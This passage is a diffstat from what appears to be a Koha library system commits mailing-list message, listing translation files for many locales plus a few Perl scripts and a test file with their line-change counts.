 misc/translator/po/lo-Laoo-pref.po                 |   14 +-
 misc/translator/po/lo-Laoo-staff-help.po           |    2 +-
 misc/translator/po/lo-Laoo-staff-prog.po           | 1451 ++--
 misc/translator/po/mi-NZ-opac-bootstrap.po         |  147 +-
 misc/translator/po/mi-NZ-pref.po                   |   12 +-
 misc/translator/po/mi-NZ-staff-help.po             |    2 +-
 misc/translator/po/mi-NZ-staff-prog.po             | 1451 ++--
 misc/translator/po/mon-opac-bootstrap.po           |  147 +-
 misc/translator/po/mon-pref.po                     |   14 +-
 misc/translator/po/mon-staff-help.po               |    2 +-
 misc/translator/po/mon-staff-prog.po               | 1451 ++--
 misc/translator/po/mr-opac-bootstrap.po            |  147 +-
 misc/translator/po/mr-pref.po                      |   16 +-
 misc/translator/po/mr-staff-help.po                |    2 +-
 misc/translator/po/mr-staff-prog.po                | 1451 ++--
 misc/translator/po/ms-MY-opac-bootstrap.po         |  149 +-
 misc/translator/po/ms-MY-pref.po                   |   14 +-
 misc/translator/po/ms-MY-staff-help.po             |    2 +-
 misc/translator/po/ms-MY-staff-prog.po             | 1455 ++--
 misc/translator/po/nb-NO-opac-bootstrap.po         |  155 +-
 misc/translator/po/nb-NO-pref.po                   |   34 +-
 misc/translator/po/nb-NO-staff-help.po             |    2 +-
 misc/translator/po/nb-NO-staff-prog.po             | 2893 ++++----
 misc/translator/po/ne-NE-opac-bootstrap.po         |  147 +-
 misc/translator/po/ne-NE-pref.po                   |   12 +-
 misc/translator/po/ne-NE-staff-help.po             |    2 +-
 misc/translator/po/ne-NE-staff-prog.po             | 1455 ++--
 misc/translator/po/nl-BE-opac-bootstrap.po         |  151 +-
 misc/translator/po/nl-BE-pref.po                   |   18 +-
 misc/translator/po/nl-BE-staff-help.po             |    2 +-
 misc/translator/po/nl-BE-staff-prog.po             | 1453 ++--
 misc/translator/po/nl-NL-opac-bootstrap.po         |  151 +-
 misc/translator/po/nl-NL-pref.po                   |   14 +-
 misc/translator/po/nl-NL-staff-help.po             |    2 +-
 misc/translator/po/nl-NL-staff-prog.po             | 1459 ++--
 misc/translator/po/nn-NO-opac-bootstrap.po         |  147 +-
 misc/translator/po/nn-NO-pref.po                   |   14 +-
 misc/translator/po/nn-NO-staff-help.po             |    2 +-
 misc/translator/po/nn-NO-staff-prog.po             | 1451 ++--
 misc/translator/po/pbr-opac-bootstrap.po           |  147 +-
 misc/translator/po/pbr-pref.po                     |   14 +-
 misc/translator/po/pbr-staff-help.po               |    2 +-
 misc/translator/po/pbr-staff-prog.po               | 1455 ++--
 misc/translator/po/pl-PL-marc-MARC21.po            |  701 +-
 misc/translator/po/pl-PL-marc-NORMARC.po           |   40 +-
 misc/translator/po/pl-PL-opac-bootstrap.po         |  780 ++-
 misc/translator/po/pl-PL-pref.po                   |   20 +-
 misc/translator/po/pl-PL-staff-help.po             |   18 +-
 misc/translator/po/pl-PL-staff-prog.po             | 1571 +++--
 misc/translator/po/prs-opac-bootstrap.po           |  147 +-
 misc/translator/po/prs-pref.po                     |   16 +-
 misc/translator/po/prs-staff-help.po               |    2 +-
 misc/translator/po/prs-staff-prog.po               | 1451 ++--
 misc/translator/po/pt-BR-marc-MARC21.po            |   80 +-
 misc/translator/po/pt-BR-opac-bootstrap.po         |  286 +-
 misc/translator/po/pt-BR-pref.po                   |   20 +-
 misc/translator/po/pt-BR-staff-help.po             |    2 +-
 misc/translator/po/pt-BR-staff-prog.po             | 1542 +++--
 misc/translator/po/pt-PT-marc-MARC21.po            |   22 +-
 misc/translator/po/pt-PT-marc-UNIMARC.po           |   16 +-
 misc/translator/po/pt-PT-opac-bootstrap.po         |  305 +-
 misc/translator/po/pt-PT-pref.po                   |   65 +-
 misc/translator/po/pt-PT-staff-help.po             |  312 +-
 misc/translator/po/pt-PT-staff-prog.po             | 2178 +++---
 misc/translator/po/ro-RO-opac-bootstrap.po         |  147 +-
 misc/translator/po/ro-RO-pref.po                   |   14 +-
 misc/translator/po/ro-RO-staff-help.po             |    2 +-
 misc/translator/po/ro-RO-staff-prog.po             | 1451 ++--
 misc/translator/po/ru-RU-opac-bootstrap.po         |  151 +-
 misc/translator/po/ru-RU-pref.po                   |   14 +-
 misc/translator/po/ru-RU-staff-help.po             |    2 +-
 misc/translator/po/ru-RU-staff-prog.po             | 1454 ++--
 misc/translator/po/rw-RW-opac-bootstrap.po         |  147 +-
 misc/translator/po/rw-RW-pref.po                   |   12 +-
 misc/translator/po/rw-RW-staff-help.po             |    2 +-
 misc/translator/po/rw-RW-staff-prog.po             | 1451 ++--
 misc/translator/po/sd-PK-opac-bootstrap.po         |  147 +-
 misc/translator/po/sd-PK-pref.po                   |   14 +-
 misc/translator/po/sd-PK-staff-help.po             |    2 +-
 misc/translator/po/sd-PK-staff-prog.po             | 1455 ++--
 misc/translator/po/sk-SK-opac-bootstrap.po         |  157 +-
 misc/translator/po/sk-SK-pref.po                   |   38 +-
 misc/translator/po/sk-SK-staff-help.po             |    2 +-
 misc/translator/po/sk-SK-staff-prog.po             | 1507 ++--
 misc/translator/po/sl-SI-opac-bootstrap.po         |  147 +-
 misc/translator/po/sl-SI-pref.po                   |   16 +-
 misc/translator/po/sl-SI-staff-help.po             |    2 +-
 misc/translator/po/sl-SI-staff-prog.po             | 1451 ++--
 misc/translator/po/sq-AL-opac-bootstrap.po         |  147 +-
 misc/translator/po/sq-AL-pref.po                   |   14 +-
 misc/translator/po/sq-AL-staff-help.po             |    2 +-
 misc/translator/po/sq-AL-staff-prog.po             | 1453 ++--
 misc/translator/po/sr-Cyrl-opac-bootstrap.po       |  147 +-
 misc/translator/po/sr-Cyrl-pref.po                 |   14 +-
 misc/translator/po/sr-Cyrl-staff-help.po           |    2 +-
 misc/translator/po/sr-Cyrl-staff-prog.po           | 1459 ++--
 misc/translator/po/sv-SE-marc-MARC21.po            | 7293 +++++++++++++++++++-
 misc/translator/po/sv-SE-marc-NORMARC.po           |  884 +--
 misc/translator/po/sv-SE-marc-UNIMARC.po           |   24 +-
 misc/translator/po/sv-SE-opac-bootstrap.po         | 5476 ++++++++++++---
 misc/translator/po/sv-SE-staff-help.po             | 6471 ++++++++++++++++-
 misc/translator/po/sv-SE-staff-prog.po             | 5028 +++++++-------
 misc/translator/po/sw-KE-opac-bootstrap.po         |  147 +-
 misc/translator/po/sw-KE-pref.po                   |   12 +-
 misc/translator/po/sw-KE-staff-help.po             |    2 +-
 misc/translator/po/sw-KE-staff-prog.po             | 1451 ++--
 misc/translator/po/ta-LK-opac-bootstrap.po         |  147 +-
 misc/translator/po/ta-LK-pref.po                   |   16 +-
 misc/translator/po/ta-LK-staff-help.po             |    2 +-
 misc/translator/po/ta-LK-staff-prog.po             | 1459 ++--
 misc/translator/po/ta-opac-bootstrap.po            |  147 +-
 misc/translator/po/ta-pref.po                      |   12 +-
 misc/translator/po/ta-staff-help.po                |    2 +-
 misc/translator/po/ta-staff-prog.po                | 1459 ++--
 misc/translator/po/tet-opac-bootstrap.po           |  151 +-
 misc/translator/po/tet-pref.po                     |   14 +-
 misc/translator/po/tet-staff-help.po               |    2 +-
 misc/translator/po/tet-staff-prog.po               | 1459 ++--
 misc/translator/po/th-TH-opac-bootstrap.po         |  147 +-
 misc/translator/po/th-TH-pref.po                   |   14 +-
 misc/translator/po/th-TH-staff-help.po             |    2 +-
 misc/translator/po/th-TH-staff-prog.po             | 1459 ++--
 misc/translator/po/tl-PH-opac-bootstrap.po         |  155 +-
 misc/translator/po/tl-PH-pref.po                   |   16 +-
 misc/translator/po/tl-PH-staff-help.po             |    2 +-
 misc/translator/po/tl-PH-staff-prog.po             | 1455 ++--
 misc/translator/po/tr-TR-opac-bootstrap.po         |  157 +-
 misc/translator/po/tr-TR-pref.po                   |   36 +-
 misc/translator/po/tr-TR-staff-help.po             |    2 +-
 misc/translator/po/tr-TR-staff-prog.po             | 1498 ++--
 misc/translator/po/uk-UA-opac-bootstrap.po         |  151 +-
 misc/translator/po/uk-UA-pref.po                   |   16 +-
 misc/translator/po/uk-UA-staff-help.po             |    2 +-
 misc/translator/po/uk-UA-staff-prog.po             | 1454 ++--
 misc/translator/po/ur-Arab-opac-bootstrap.po       |  147 +-
 misc/translator/po/ur-Arab-pref.po                 |   14 +-
 misc/translator/po/ur-Arab-staff-help.po           |    2 +-
 misc/translator/po/ur-Arab-staff-prog.po           | 1455 ++--
 misc/translator/po/vi-VN-opac-bootstrap.po         |  147 +-
 misc/translator/po/vi-VN-pref.po                   |   20 +-
 misc/translator/po/vi-VN-staff-help.po             |    2 +-
 misc/translator/po/vi-VN-staff-prog.po             | 1459 ++--
 misc/translator/po/zh-Hans-CN-opac-bootstrap.po    |  147 +-
 misc/translator/po/zh-Hans-CN-pref.po              |   20 +-
 misc/translator/po/zh-Hans-CN-staff-help.po        |    2 +-
 misc/translator/po/zh-Hans-CN-staff-prog.po        | 1457 ++--
 misc/translator/po/zh-Hans-TW-marc-MARC21.po       |   16 +-
 misc/translator/po/zh-Hans-TW-marc-NORMARC.po      |    8 +-
 misc/translator/po/zh-Hans-TW-marc-UNIMARC.po      |   56 +-
 misc/translator/po/zh-Hans-TW-opac-bootstrap.po    |  299 +-
 misc/translator/po/zh-Hans-TW-pref.po              |  294 +-
 misc/translator/po/zh-Hans-TW-staff-help.po        |  384 +-
 misc/translator/po/zh-Hans-TW-staff-prog.po        | 2107 +++---
 opac/opac-tags_subject.pl                          |    4 +-
 reports/borrowers_out.pl                           |   41 +-
 t/db_dependent/Auth.t                              |   35 +-
 324 files changed, 87524 insertions(+), 66270 deletions(-)


hooks/post-receive
-- 
main Koha release repository


More information about the koha-commits mailing list